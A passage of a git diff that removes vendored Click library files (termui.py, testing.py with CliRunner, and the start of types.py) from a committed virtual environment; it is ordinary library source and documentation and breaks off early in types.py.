keyword arguments are forwarded to the underlying functions - depending on which one they go with. - - Non-string types will be converted to :class:`str`. However, - :class:`bytes` are passed directly to :meth:`echo` without applying - style. If you want to style bytes that represent text, call - :meth:`bytes.decode` first. - - .. versionchanged:: 8.0 - A non-string ``message`` is converted to a string. Bytes are - passed through without style applied. - - .. versionadded:: 2.0 - """ - if message is not None and not isinstance(message, (bytes, bytearray)): - message = style(message, **styles) - - return echo(message, file=file, nl=nl, err=err, color=color) - - -@t.overload -def edit( - text: bytes | bytearray, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = False, - extension: str = ".txt", -) -> bytes | None: ... - - -@t.overload -def edit( - text: str, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = True, - extension: str = ".txt", -) -> str | None: ... - - -@t.overload -def edit( - text: None = None, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = True, - extension: str = ".txt", - filename: str | cabc.Iterable[str] | None = None, -) -> None: ... - - -def edit( - text: str | bytes | bytearray | None = None, - editor: str | None = None, - env: cabc.Mapping[str, str] | None = None, - require_save: bool = True, - extension: str = ".txt", - filename: str | cabc.Iterable[str] | None = None, -) -> str | bytes | bytearray | None: - r"""Edits the given text in the defined editor. If an editor is given - (should be the full path to the executable but the regular operating - system search path is used for finding the executable) it overrides - the detected editor. Optionally, some environment variables can be - used. If the editor is closed without changes, `None` is returned. In - case a file is edited directly the return value is always `None` and - `require_save` and `extension` are ignored. - - If the editor cannot be opened a :exc:`UsageError` is raised. - - Note for Windows: to simplify cross-platform usage, the newlines are - automatically converted from POSIX to Windows and vice versa. As such, - the message here will have ``\n`` as newline markers. - - :param text: the text to edit. - :param editor: optionally the editor to use. Defaults to automatic - detection. - :param env: environment variables to forward to the editor. - :param require_save: if this is true, then not saving in the editor - will make the return value become `None`. - :param extension: the extension to tell the editor about. This defaults - to `.txt` but changing this might change syntax - highlighting. - :param filename: if provided it will edit this file instead of the - provided text contents. It will not use a temporary - file as an indirection in that case. If the editor supports - editing multiple files at once, a sequence of files may be - passed as well. Invoke `click.file` once per file instead - if multiple files cannot be managed at once or editing the - files serially is desired. - - .. versionchanged:: 8.2.0 - ``filename`` now accepts any ``Iterable[str]`` in addition to a ``str`` - if the ``editor`` supports editing multiple files at once. - - """ - from ._termui_impl import Editor - - ed = Editor(editor=editor, env=env, require_save=require_save, extension=extension) - - if filename is None: - return ed.edit(text) - - if isinstance(filename, str): - filename = (filename,) - - ed.edit_files(filenames=filename) - return None - - -def launch(url: str, wait: bool = False, locate: bool = False) -> int: - """This function launches the given URL (or filename) in the default - viewer application for this file type. If this is an executable, it - might launch the executable in a new session. The return value is - the exit code of the launched application. Usually, ``0`` indicates - success. - - Examples:: - - click.launch('https://click.palletsprojects.com/') - click.launch('/my/downloaded/file', locate=True) - - .. versionadded:: 2.0 - - :param url: URL or filename of the thing to launch. - :param wait: Wait for the program to exit before returning. This - only works if the launched program blocks. In particular, - ``xdg-open`` on Linux does not block. - :param locate: if this is set to `True` then instead of launching the - application associated with the URL it will attempt to - launch a file manager with the file located. This - might have weird effects if the URL does not point to - the filesystem. - """ - from ._termui_impl import open_url - - return open_url(url, wait=wait, locate=locate) - - -# If this is provided, getchar() calls into this instead. This is used -# for unittesting purposes. -_getchar: t.Callable[[bool], str] | None = None - - -def getchar(echo: bool = False) -> str: - """Fetches a single character from the terminal and returns it. This - will always return a unicode character and under certain rare - circumstances this might return more than one character. The - situations which more than one character is returned is when for - whatever reason multiple characters end up in the terminal buffer or - standard input was not actually a terminal. - - Note that this will always read from the terminal, even if something - is piped into the standard input. - - Note for Windows: in rare cases when typing non-ASCII characters, this - function might wait for a second character and then return both at once. - This is because certain Unicode characters look like special-key markers. - - .. versionadded:: 2.0 - - :param echo: if set to `True`, the character read will also show up on - the terminal. The default is to not show it. - """ - global _getchar - - if _getchar is None: - from ._termui_impl import getchar as f - - _getchar = f - - return _getchar(echo) - - -def raw_terminal() -> AbstractContextManager[int]: - from ._termui_impl import raw_terminal as f - - return f() - - -def pause(info: str | None = None, err: bool = False) -> None: - """This command stops execution and waits for the user to press any - key to continue. This is similar to the Windows batch "pause" - command. If the program is not run through a terminal, this command - will instead do nothing. - - .. versionadded:: 2.0 - - .. versionadded:: 4.0 - Added the `err` parameter. - - :param info: The message to print before pausing. Defaults to - ``"Press any key to continue..."``. - :param err: if set to message goes to ``stderr`` instead of - ``stdout``, the same as with echo. - """ - if not isatty(sys.stdin) or not isatty(sys.stdout): - return - - if info is None: - info = _("Press any key to continue...") - - try: - if info: - echo(info, nl=False, err=err) - try: - getchar() - except (KeyboardInterrupt, EOFError): - pass - finally: - if info: - echo(err=err) diff --git a/venv/Lib/site-packages/click/testing.py b/venv/Lib/site-packages/click/testing.py deleted file mode 100644 index 19fae4a620ea8ae28410cb8b29d965c1ac8cc524..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/testing.py +++ /dev/null @@ -1,772 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import contextlib -import io -import os -import pdb -import shlex -import sys -import tempfile -import typing as t -from types import TracebackType - -from . import _compat -from . import formatting -from . import termui -from . import utils -from ._compat import _find_binary_reader - -if t.TYPE_CHECKING: - from _typeshed import ReadableBuffer - - from .core import Command - -if sys.platform == "win32": - CaptureMode: t.TypeAlias = t.Literal["sys"] # pyright: ignore[reportRedeclaration] -else: - CaptureMode: t.TypeAlias = t.Literal["sys", "fd"] # pyright: ignore[reportRedeclaration] -ExceptionInfo: t.TypeAlias = tuple[type[BaseException], BaseException, TracebackType] - - -class EchoingStdin: - _input: t.BinaryIO - _output: t.BinaryIO - _paused: bool - - def __init__(self, input: t.BinaryIO, output: t.BinaryIO) -> None: - self._input = input - self._output = output - self._paused = False - - def __getattr__(self, x: str) -> t.Any: - return getattr(self._input, x) - - def _echo(self, rv: bytes) -> bytes: - if not self._paused: - self._output.write(rv) - - return rv - - def read(self, n: int = -1) -> bytes: - return self._echo(self._input.read(n)) - - def read1(self, n: int = -1) -> bytes: - return self._echo(self._input.read1(n)) # type: ignore - - def readline(self, n: int = -1) -> bytes: - return self._echo(self._input.readline(n)) - - def readlines(self) -> list[bytes]: - return [self._echo(x) for x in self._input.readlines()] - - def __iter__(self) -> cabc.Iterator[bytes]: - return iter(self._echo(x) for x in self._input) - - def __repr__(self) -> str: - return repr(self._input) - - -@contextlib.contextmanager -def _pause_echo(stream: EchoingStdin | None) -> cabc.Generator[None]: - if stream is None: - yield - else: - stream._paused = True - yield - stream._paused = False - - -class _FDCapture: - """Redirect a file descriptor to a temporary file for capture. - - Saves the current target of *targetfd* via :func:`os.dup`, then - redirects it to a temporary file via :func:`os.dup2`. On - :meth:`stop`, restores the original ``fd`` and returns the captured - bytes. Inspired by Pytest's ``FDCapture``. - - .. versionadded:: 8.4.0 - """ - - _targetfd: int - saved_fd: int - _tmpfile: t.BinaryIO | None - - def __init__(self, targetfd: int) -> None: - self._targetfd = targetfd - self.saved_fd = -1 - self._tmpfile = None - - def start(self) -> None: - self.saved_fd = os.dup(self._targetfd) - self._tmpfile = tempfile.TemporaryFile(buffering=0) - os.dup2(self._tmpfile.fileno(), self._targetfd) - - def stop(self) -> bytes: - assert self._tmpfile is not None, "_FDCapture.start() was not called" - os.dup2(self.saved_fd, self._targetfd) - os.close(self.saved_fd) - self.saved_fd = -1 - self._tmpfile.seek(0) - data = self._tmpfile.read() - self._tmpfile.close() - self._tmpfile = None - return data - - -class BytesIOCopy(io.BytesIO): - """Patch ``io.BytesIO`` to let the written stream be copied to another. - - .. versionadded:: 8.2 - """ - - copy_to: io.BytesIO - - def __init__(self, copy_to: io.BytesIO) -> None: - super().__init__() - self.copy_to = copy_to - - def flush(self) -> None: - super().flush() - self.copy_to.flush() - - def write(self, b: ReadableBuffer) -> int: - self.copy_to.write(b) - return super().write(b) - - -class StreamMixer: - """Mixes `` and `` streams. - - The result is available in the ``output`` attribute. - - .. versionadded:: 8.2 - """ - - output: io.BytesIO - stdout: BytesIOCopy - stderr: BytesIOCopy - - def __init__(self) -> None: - self.output = io.BytesIO() - self.stdout = BytesIOCopy(copy_to=self.output) - self.stderr = BytesIOCopy(copy_to=self.output) - - -class _NamedTextIOWrapper(io.TextIOWrapper): - """A :class:`~io.TextIOWrapper` with custom ``name`` and ``mode`` - that does not close its underlying buffer. - - When ``CliRunner`` runs in ``fd`` mode, ``_original_fd`` is patched to - point at the saved (pre-redirection) ``fd``, so C-level consumers that call - :meth:`fileno` (like ``faulthandler`` or ``subprocess``) keep working. In - the default ``sys`` mode ``_original_fd`` stays at ``-1`` and - :meth:`fileno` raises :exc:`io.UnsupportedOperation`, matching the - pre-``8.3.3`` behavior. - """ - - _name: str - _mode: str - _original_fd: int - - def __init__( - self, - buffer: t.BinaryIO, - name: str, - mode: str, - **kwargs: t.Any, - ) -> None: - super().__init__(buffer, **kwargs) - self._name = name - self._mode = mode - self._original_fd = -1 - - def close(self) -> None: - """The buffer this object contains belongs to some other object, - so prevent the default ``__del__`` implementation from closing - that buffer. - - .. versionadded:: 8.3.2 - """ - - def fileno(self) -> int: - """Return the file descriptor of the saved original stream when - ``CliRunner`` runs in ``fd`` mode. Otherwise delegate to - :class:`~io.TextIOWrapper`, which raises - :exc:`io.UnsupportedOperation` for a ``BytesIO``-backed buffer. - """ - if self._original_fd >= 0: - return self._original_fd - return super().fileno() - - @property - def name(self) -> str: - return self._name - - @property - def mode(self) -> str: - return self._mode - - -def make_input_stream( - input: str | bytes | t.IO[t.Any] | None, charset: str -) -> t.BinaryIO: - # Is already an input stream. - if hasattr(input, "read"): - rv = _find_binary_reader(t.cast("t.IO[t.Any]", input)) - - if rv is not None: - return rv - - raise TypeError("Could not find binary reader for input stream.") - - if input is None: - input = b"" - elif isinstance(input, str): - input = input.encode(charset) - - return io.BytesIO(input) - - -class Result: - """Holds the captured result of an invoked CLI script. - - :param runner: The runner that created the result - :param stdout_bytes: The standard output as bytes. - :param stderr_bytes: The standard error as bytes. - :param output_bytes: A mix of ``stdout_bytes`` and ``stderr_bytes``, as the - user would see it in its terminal. - :param return_value: The value returned from the invoked command. - :param exit_code: The exit code as integer. - :param exception: The exception that happened if one did. - :param exc_info: Exception information (exception type, exception instance, - traceback type). - - .. versionchanged:: 8.2 - ``stderr_bytes`` no longer optional, ``output_bytes`` introduced and - ``mix_stderr`` has been removed. - - .. versionadded:: 8.0 - Added ``return_value``. - """ - - runner: CliRunner - stdout_bytes: bytes - stderr_bytes: bytes - output_bytes: bytes - return_value: t.Any - exit_code: int - exception: BaseException | None - exc_info: ExceptionInfo | None - - def __init__( - self, - runner: CliRunner, - stdout_bytes: bytes, - stderr_bytes: bytes, - output_bytes: bytes, - return_value: t.Any, - exit_code: int, - exception: BaseException | None, - exc_info: ExceptionInfo | None = None, - ) -> None: - self.runner = runner - self.stdout_bytes = stdout_bytes - self.stderr_bytes = stderr_bytes - self.output_bytes = output_bytes - self.return_value = return_value - self.exit_code = exit_code - self.exception = exception - self.exc_info = exc_info - - @property - def output(self) -> str: - """The terminal output as unicode string, as the user would see it. - - .. versionchanged:: 8.2 - No longer a proxy for ``self.stdout``. Now has its own independent stream - that is mixing `` and ``, in the order they were written. - """ - return self.output_bytes.decode(self.runner.charset, "replace").replace( - "\r\n", "\n" - ) - - @property - def stdout(self) -> str: - """The standard output as unicode string.""" - return self.stdout_bytes.decode(self.runner.charset, "replace").replace( - "\r\n", "\n" - ) - - @property - def stderr(self) -> str: - """The standard error as unicode string. - - .. versionchanged:: 8.2 - No longer raise an exception, always returns the `` string. - """ - return self.stderr_bytes.decode(self.runner.charset, "replace").replace( - "\r\n", "\n" - ) - - def __repr__(self) -> str: - exc_str = repr(self.exception) if self.exception else "okay" - return f"<{type(self).__name__} {exc_str}>" - - -class CliRunner: - """The CLI runner provides functionality to invoke a Click command line - script for unittesting purposes in a isolated environment. This only - works in single-threaded systems without any concurrency as it changes the - global interpreter state. - - :param charset: the character set for the input and output data. - :param env: a dictionary with environment variables for overriding. - :param echo_stdin: if this is set to `True`, then reading from `` writes - to ``. This is useful for showing examples in - some circumstances. Note that regular prompts - will automatically echo the input. - :param catch_exceptions: Whether to catch any exceptions other than - ``SystemExit`` when running :meth:`~CliRunner.invoke`. - :param capture: Selects the output capture strategy. ``sys`` (default) - captures Python-level writes only and leaves - :meth:`sys.stdout.fileno` raising :exc:`io.UnsupportedOperation`, so - user code that calls :func:`os.dup2` on ``sys.stdout.fileno()`` cannot - clobber the host runner's stdout. ``fd`` redirects file descriptors - ``1`` and ``2`` via :func:`os.dup2` to a temporary file, also catching - output from stale stream references, C extensions, and subprocesses. - ``fd`` is not supported on Windows. - - .. versionchanged:: 8.4.0 - Added the ``capture`` parameter. The default ``sys`` mode no longer - exposes the original fd through :meth:`fileno`, reverting the change - introduced in ``8.3.3`` that broke Pytest's ``fd``-level capture - teardown. Use ``capture="fd"`` to restore that behavior with proper - isolation. :issue:`3384` - - .. versionchanged:: 8.2 - Added the ``catch_exceptions`` parameter. - - .. versionchanged:: 8.2 - ``mix_stderr`` parameter has been removed. - """ - - charset: str - env: cabc.Mapping[str, str | None] - echo_stdin: bool - catch_exceptions: bool - capture: CaptureMode - - def __init__( - self, - charset: str = "utf-8", - env: cabc.Mapping[str, str | None] | None = None, - echo_stdin: bool = False, - catch_exceptions: bool = True, - capture: CaptureMode = "sys", - ) -> None: - if capture not in {"sys", "fd"}: - raise ValueError( - f"capture={capture!r} is not valid. Choose from 'sys' or 'fd'." - ) - if capture == "fd" and sys.platform == "win32": - raise ValueError( - f"capture={capture!r} is not supported on Windows. Use 'sys'." - ) - self.charset = charset - self.env = env or {} - self.echo_stdin = echo_stdin - self.catch_exceptions = catch_exceptions - self.capture = capture - - def get_default_prog_name(self, cli: Command) -> str: - """Given a command object it will return the default program name - for it. The default is the `name` attribute or ``"root"`` if not - set. - """ - return cli.name or "root" - - def make_env( - self, overrides: cabc.Mapping[str, str | None] | None = None - ) -> cabc.Mapping[str, str | None]: - """Returns the environment overrides for invoking a script.""" - rv = dict(self.env) - if overrides: - rv.update(overrides) - return rv - - @contextlib.contextmanager - def isolation( - self, - input: str | bytes | t.IO[t.Any] | None = None, - env: cabc.Mapping[str, str | None] | None = None, - color: bool = False, - ) -> cabc.Generator[tuple[io.BytesIO, io.BytesIO, io.BytesIO]]: - """A context manager that sets up the isolation for invoking of a - command line tool. This sets up `` with the given input data - and `os.environ` with the overrides from the given dictionary. - This also rebinds some internals in Click to be mocked (like the - prompt functionality). - - This is automatically done in the :meth:`invoke` method. - - :param input: the input stream to put into `sys.stdin`. - :param env: the environment overrides as dictionary. - :param color: whether the output should contain color codes. The - application can still override this explicitly. - - .. versionadded:: 8.2 - An additional output stream is returned, which is a mix of - `` and `` streams. - - .. versionchanged:: 8.2 - Always returns the `` stream. - - .. versionchanged:: 8.0 - `` is opened with ``errors="backslashreplace"`` - instead of the default ``"strict"``. - - .. versionchanged:: 4.0 - Added the ``color`` parameter. - """ - bytes_input = make_input_stream(input, self.charset) - echo_input = None - - old_stdin = sys.stdin - old_stdout = sys.stdout - old_stderr = sys.stderr - old_forced_width = formatting.FORCED_WIDTH - formatting.FORCED_WIDTH = 80 - - env = self.make_env(env) - - stream_mixer = StreamMixer() - - if self.echo_stdin: - bytes_input = echo_input = t.cast( - t.BinaryIO, EchoingStdin(bytes_input, stream_mixer.stdout) - ) - - sys.stdin = text_input = _NamedTextIOWrapper( - bytes_input, encoding=self.charset, name="", mode="r" - ) - - if self.echo_stdin: - # Force unbuffered reads, otherwise TextIOWrapper reads a - # large chunk which is echoed early. - text_input._CHUNK_SIZE = 1 # type: ignore - - sys.stdout = _NamedTextIOWrapper( - stream_mixer.stdout, - encoding=self.charset, - name="", - mode="w", - ) - - sys.stderr = _NamedTextIOWrapper( - stream_mixer.stderr, - encoding=self.charset, - name="", - mode="w", - errors="backslashreplace", - ) - - @_pause_echo(echo_input) # type: ignore - def visible_input(prompt: str | None = None) -> str: - sys.stdout.write(prompt or "") - try: - val = next(text_input).rstrip("\r\n") - except StopIteration as e: - raise EOFError() from e - sys.stdout.write(f"{val}\n") - sys.stdout.flush() - return val - - @_pause_echo(echo_input) # type: ignore - def hidden_input(prompt: str | None = None) -> str: - sys.stdout.write(f"{prompt or ''}\n") - sys.stdout.flush() - try: - return next(text_input).rstrip("\r\n") - except StopIteration as e: - raise EOFError() from e - - @_pause_echo(echo_input) # type: ignore - def _getchar(echo: bool) -> str: - char = sys.stdin.read(1) - - if echo: - sys.stdout.write(char) - - sys.stdout.flush() - return char - - default_color = color - - def should_strip_ansi( - stream: t.IO[t.Any] | None = None, color: bool | None = None - ) -> bool: - if color is None: - return not default_color - return not color - - old_visible_prompt_func = termui.visible_prompt_func - old_hidden_prompt_func = termui.hidden_prompt_func - old__getchar_func = termui._getchar - old_should_strip_ansi = utils.should_strip_ansi # type: ignore - old__compat_should_strip_ansi = _compat.should_strip_ansi - old_pdb_init = pdb.Pdb.__init__ - termui.visible_prompt_func = visible_input - termui.hidden_prompt_func = hidden_input - termui._getchar = _getchar - utils.should_strip_ansi = should_strip_ansi # type: ignore - _compat.should_strip_ansi = should_strip_ansi - - def _patched_pdb_init( - self: pdb.Pdb, - completekey: str = "tab", - stdin: t.IO[str] | None = None, - stdout: t.IO[str] | None = None, - **kwargs: t.Any, - ) -> None: - """Default ``pdb.Pdb`` to real terminal streams during - ``CliRunner`` isolation. - - Without this patch, ``pdb.Pdb.__init__`` inherits from - ``cmd.Cmd`` which falls back to ``sys.stdin``/``sys.stdout`` - when no explicit streams are provided. During isolation - those are ``BytesIO``-backed wrappers, so the debugger - reads from an empty buffer and writes to captured output, - making interactive debugging impossible. - - By defaulting to ``sys.__stdin__``/``sys.__stdout__`` (the - original terminal streams Python preserves regardless of - redirection), debuggers can interact with the user while - ``click.echo`` output is still captured normally. - - This covers ``pdb.set_trace()``, ``breakpoint()``, - ``pdb.post_mortem()``, and debuggers that subclass - ``pdb.Pdb`` (ipdb, pdbpp). Explicit ``stdin``/``stdout`` - arguments are honored and not overridden. Debuggers that - do not subclass ``pdb.Pdb`` (pudb, debugpy) are not - covered. - """ - if stdin is None: - stdin = sys.__stdin__ - if stdout is None: - stdout = sys.__stdout__ - old_pdb_init( - self, completekey=completekey, stdin=stdin, stdout=stdout, **kwargs - ) - - pdb.Pdb.__init__ = _patched_pdb_init # type: ignore[assignment] - - old_env = {} - try: - for key, value in env.items(): - old_env[key] = os.environ.get(key) - if value is None: - try: - del os.environ[key] - except Exception: - pass - else: - os.environ[key] = value - yield (stream_mixer.stdout, stream_mixer.stderr, stream_mixer.output) - finally: - for key, value in old_env.items(): - if value is None: - try: - del os.environ[key] - except Exception: - pass - else: - os.environ[key] = value - sys.stdout = old_stdout - sys.stderr = old_stderr - sys.stdin = old_stdin - termui.visible_prompt_func = old_visible_prompt_func - termui.hidden_prompt_func = old_hidden_prompt_func - termui._getchar = old__getchar_func - utils.should_strip_ansi = old_should_strip_ansi # type: ignore - _compat.should_strip_ansi = old__compat_should_strip_ansi - formatting.FORCED_WIDTH = old_forced_width - pdb.Pdb.__init__ = old_pdb_init # type: ignore[method-assign] - - def invoke( - self, - cli: Command, - args: str | cabc.Sequence[str] | None = None, - input: str | bytes | t.IO[t.Any] | None = None, - env: cabc.Mapping[str, str | None] | None = None, - catch_exceptions: bool | None = None, - color: bool = False, - **extra: t.Any, - ) -> Result: - """Invokes a command in an isolated environment. The arguments are - forwarded directly to the command line script, the `extra` keyword - arguments are passed to the :meth:`~clickpkg.Command.main` function of - the command. - - This returns a :class:`Result` object. - - :param cli: the command to invoke - :param args: the arguments to invoke. It may be given as an iterable - or a string. When given as string it will be interpreted - as a Unix shell command. More details at - :func:`shlex.split`. - :param input: the input data for `sys.stdin`. - :param env: the environment overrides. - :param catch_exceptions: Whether to catch any other exceptions than - ``SystemExit``. If :data:`None`, the value - from :class:`CliRunner` is used. - :param extra: the keyword arguments to pass to :meth:`main`. - :param color: whether the output should contain color codes. The - application can still override this explicitly. - - .. versionadded:: 8.2 - The result object has the ``output_bytes`` attribute with - the mix of ``stdout_bytes`` and ``stderr_bytes``, as the user would - see it in its terminal. - - .. versionchanged:: 8.2 - The result object always returns the ``stderr_bytes`` stream. - - .. versionchanged:: 8.0 - The result object has the ``return_value`` attribute with - the value returned from the invoked command. - - .. versionchanged:: 4.0 - Added the ``color`` parameter. - - .. versionchanged:: 3.0 - Added the ``catch_exceptions`` parameter. - - .. versionchanged:: 3.0 - The result object has the ``exc_info`` attribute with the - traceback if available. - """ - exc_info = None - if catch_exceptions is None: - catch_exceptions = self.catch_exceptions - - # Set up fd capture before isolation replaces sys.stdout and sys.stderr. - cap_out: _FDCapture | None = None - cap_err: _FDCapture | None = None - - if self.capture == "fd": - cap_out = _FDCapture(1) - cap_err = _FDCapture(2) - try: - cap_out.start() - cap_err.start() - except OSError: - cap_out = cap_err = None - - with self.isolation(input=input, env=env, color=color) as outstreams: - # Point the captured streams' fileno() at the saved (original) - # fd so that C-level consumers like faulthandler keep working - # while fd 1/2 are redirected to the capture tmpfile. - if cap_out is not None and cap_err is not None: - sys.stdout._original_fd = cap_out.saved_fd # type: ignore[union-attr] - sys.stderr._original_fd = cap_err.saved_fd # type: ignore[union-attr] - - return_value = None - exception: BaseException | None = None - exit_code = 0 - - if isinstance(args, str): - args = shlex.split(args) - - try: - prog_name = extra.pop("prog_name") - except KeyError: - prog_name = self.get_default_prog_name(cli) - - try: - return_value = cli.main(args=args or (), prog_name=prog_name, **extra) - except SystemExit as e: - exc_info = sys.exc_info() - e_code = t.cast("int | t.Any | None", e.code) - - if e_code is None: - e_code = 0 - - if e_code != 0: - exception = e - - if not isinstance(e_code, int): - sys.stdout.write(str(e_code)) - sys.stdout.write("\n") - e_code = 1 - - exit_code = e_code - - except Exception as e: - if not catch_exceptions: - raise - exception = e - exit_code = 1 - exc_info = sys.exc_info() - finally: - sys.stdout.flush() - sys.stderr.flush() - - # Stop fd capture and merge the captured bytes into - # the stdout/stderr BytesIO streams. BytesIOCopy mirrors - # those writes into outstreams[2] automatically. - if cap_out is not None and cap_err is not None: - fd_out = cap_out.stop() - fd_err = cap_err.stop() - if fd_out: - outstreams[0].write(fd_out) - if fd_err: - outstreams[1].write(fd_err) - - stdout = outstreams[0].getvalue() - stderr = outstreams[1].getvalue() - output = outstreams[2].getvalue() - - return Result( - runner=self, - stdout_bytes=stdout, - stderr_bytes=stderr, - output_bytes=output, - return_value=return_value, - exit_code=exit_code, - exception=exception, - exc_info=exc_info, # type: ignore - ) - - @contextlib.contextmanager - def isolated_filesystem( - self, temp_dir: str | os.PathLike[str] | None = None - ) -> cabc.Generator[str]: - """A context manager that creates a temporary directory and - changes the current working directory to it. This isolates tests - that affect the contents of the CWD to prevent them from - interfering with each other. - - :param temp_dir: Create the temporary directory under this - directory. If given, the created directory is not removed - when exiting. - - .. versionchanged:: 8.0 - Added the ``temp_dir`` parameter. - """ - cwd = os.getcwd() - dt = tempfile.mkdtemp(dir=temp_dir) - os.chdir(dt) - - try: - yield dt - finally: - os.chdir(cwd) - - if temp_dir is None: - import shutil - - try: - shutil.rmtree(dt) - except OSError: - pass diff --git a/venv/Lib/site-packages/click/types.py b/venv/Lib/site-packages/click/types.py deleted file mode 100644 index 1e9872e410a3371f091e03ddadb90de3120211dc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/types.py +++ /dev/null @@ -1,1374 +0,0 @@ -from __future__ import annotations - -import abc -import collections.abc as cabc -import enum -import os -import stat -import sys -import typing as t -import uuid -from datetime import datetime -from gettext import gettext as _ -from gettext import ngettext - -from ._compat import _get_argv_encoding -from ._compat import open_stream -from .exceptions import BadParameter -from .utils import format_filename -from .utils import LazyFile -from .utils import safecall - -if t.TYPE_CHECKING: - import typing_extensions as te - - from .core import Context - from .core import Parameter - from .shell_completion import CompletionItem - -_ValueT = t.TypeVar("_ValueT") -_ValueT_contra = t.TypeVar("_ValueT_contra", contravariant=True) -_ValueT_co = t.TypeVar("_ValueT_co", covariant=True) - -_FloatValueT = t.TypeVar("_FloatValueT", bound=float) -_FloatValueT_co = t.TypeVar("_FloatValueT_co", bound=float, covariant=True) - - -class ParamTypeInfoDict(t.TypedDict): - param_type: str - name: str - - -class ParamType(t.Generic[_ValueT_co], abc.ABC): - """Represents the type of a parameter. Validates and converts values - from the command line or Python into the correct type. - - To implement a custom type, subclass and implement at least the - following: - - - The :attr:`name` class attribute must be set. - - Calling an instance of the type with ``None`` must return - ``None``. This is already implemented by default. - - :meth:`convert` must convert string values to the correct type. - - :meth:`convert` must accept values that are already the correct - type. - - It must be able to convert a value if the ``ctx`` and ``param`` - arguments are ``None``. This can occur when converting prompt - input. - - .. versionchanged:: 8.4.0 - Now a generic abstract base class. Parameterize with the - converted value type (``ParamType[int]`` for an integer-returning - type) so that :meth:`convert` and downstream consumers carry the - narrowed return type. - """ - - is_composite: t.ClassVar[bool] = False - arity: int = 1 # read-only - - #: the descriptive name of this type - name: str - - #: if a list of this type is expected and the value is pulled from a - #: string environment variable, this is what splits it up. `None` - #: means any whitespace. For all parameters the general rule is that - #: whitespace splits them up. The exception are paths and files which - #: are split by ``os.path.pathsep`` by default (":" on Unix and ";" on - #: Windows). - envvar_list_splitter: t.ClassVar[str | None] = None - - def to_info_dict(self) -> ParamTypeInfoDict: - """Gather information that could be useful for a tool generating - user-facing documentation. - - Use :meth:`click.Context.to_info_dict` to traverse the entire - CLI structure. - - .. versionadded:: 8.0 - """ - # The class name without the "ParamType" suffix. - param_type = type(self).__name__.partition("ParamType")[0] - param_type = param_type.partition("ParameterType")[0] - - # Custom subclasses might not remember to set a name. - if hasattr(self, "name"): - name = self.name - else: - name = param_type - - return {"param_type": param_type, "name": name} - - def __call__( - self, - value: t.Any, - param: Parameter | None = None, - ctx: Context | None = None, - ) -> _ValueT_co | None: - if value is not None: - return self.convert(value, param, ctx) - return None - - def get_metavar(self, param: Parameter, ctx: Context) -> str | None: - """Returns the metavar default for this param if it provides one.""" - - def get_missing_message(self, param: Parameter, ctx: Context | None) -> str | None: - """Optionally might return extra information about a missing - parameter. - - .. versionadded:: 2.0 - """ - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> _ValueT_co: - """Convert the value to the correct type. This is not called if - the value is ``None`` (the missing value). - - This must accept string values from the command line, as well as - values that are already the correct type. It may also convert - other compatible types. - - The ``param`` and ``ctx`` arguments may be ``None`` in certain - situations, such as when converting prompt input. - - If the value cannot be converted, call :meth:`fail` with a - descriptive message. - - :param value: The value to convert. - :param param: The parameter that is using this type to convert - its value. May be ``None``. - :param ctx: The current context that arrived at this value. May - be ``None``. - """ - # The default returns the value as-is so subclasses that only customize - # metadata are not forced to redeclare ``convert``. - return t.cast("_ValueT_co", value) - - def split_envvar_value(self, rv: str) -> cabc.Sequence[str]: - """Given a value from an environment variable this splits it up - into small chunks depending on the defined envvar list splitter. - - If the splitter is set to `None`, which means that whitespace splits, - then leading and trailing whitespace is ignored. Otherwise, leading - and trailing splitters usually lead to empty items being included. - """ - return (rv or "").split(self.envvar_list_splitter) - - def fail( - self, - message: str, - param: Parameter | None = None, - ctx: Context | None = None, - ) -> t.NoReturn: - """Helper method to fail with an invalid value message.""" - raise BadParameter(message, ctx=ctx, param=param) - - def shell_complete( - self, ctx: Context, param: Parameter, incomplete: str - ) -> list[CompletionItem]: - """Return a list of - :class:`~click.shell_completion.CompletionItem` objects for the - incomplete value. Most types do not provide completions, but - some do, and this allows custom types to provide custom - completions as well. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - return [] - - -class CompositeParamType(ParamType[_ValueT_co]): - is_composite: t.ClassVar[bool] = True - - @property - @abc.abstractmethod - def arity(self) -> int: ... # type: ignore[override] - - -if t.TYPE_CHECKING: - # on Python 3.10 this will raise a TypeError - - class FuncParamTypeInfoDict( - ParamTypeInfoDict, - t.Generic[_ValueT_contra, _ValueT_co], - ): - func: t.Callable[[_ValueT_contra], _ValueT_co] -else: - - class FuncParamTypeInfoDict(ParamTypeInfoDict): - func: t.Callable[[t.Any], t.Any] - - -class FuncParamType(ParamType[_ValueT_co], t.Generic[_ValueT_contra, _ValueT_co]): - name: str - func: t.Callable[[_ValueT_contra], _ValueT_co] - - def __init__(self, func: t.Callable[[_ValueT_contra], _ValueT_co]) -> None: - self.name = func.__name__ - self.func = func - - def to_info_dict(self) -> FuncParamTypeInfoDict[_ValueT_contra, _ValueT_co]: - return {"func": self.func, **super().to_info_dict()} - - def convert( - self, value: _ValueT_contra, param: Parameter | None, ctx: Context | None - ) -> _ValueT_co: - try: - return self.func(value) - except ValueError as exc: - message = str(exc) - - if not message: - try: - message = str(value) - except UnicodeError: - message = t.cast("bytes", value).decode("utf-8", "replace") - - self.fail(message, param, ctx) - - -class UnprocessedParamType(ParamType[t.Any]): - name = "text" - - def convert( - self, value: _ValueT, param: Parameter | None, ctx: Context | None - ) -> _ValueT: - return value - - def __repr__(self) -> str: - return "UNPROCESSED" - - -class StringParamType(ParamType[str]): - name = "text" - - def convert( - self, value: t.Any, param: Parameter | None, ctx: Context | None - ) -> str: - if isinstance(value, bytes): - enc = _get_argv_encoding() - try: - return value.decode(enc) - except UnicodeError: - fs_enc = sys.getfilesystemencoding() - if fs_enc != enc: - try: - return value.decode(fs_enc) - except UnicodeError: - return value.decode("utf-8", "replace") - else: - return value.decode("utf-8", "replace") - return str(value) - - def __repr__(self) -> str: - return "STRING" - - -if t.TYPE_CHECKING: - # on Python 3.10 this will raise a TypeError - - class ChoiceInfoDict(ParamTypeInfoDict, t.Generic[_ValueT_co]): - choices: 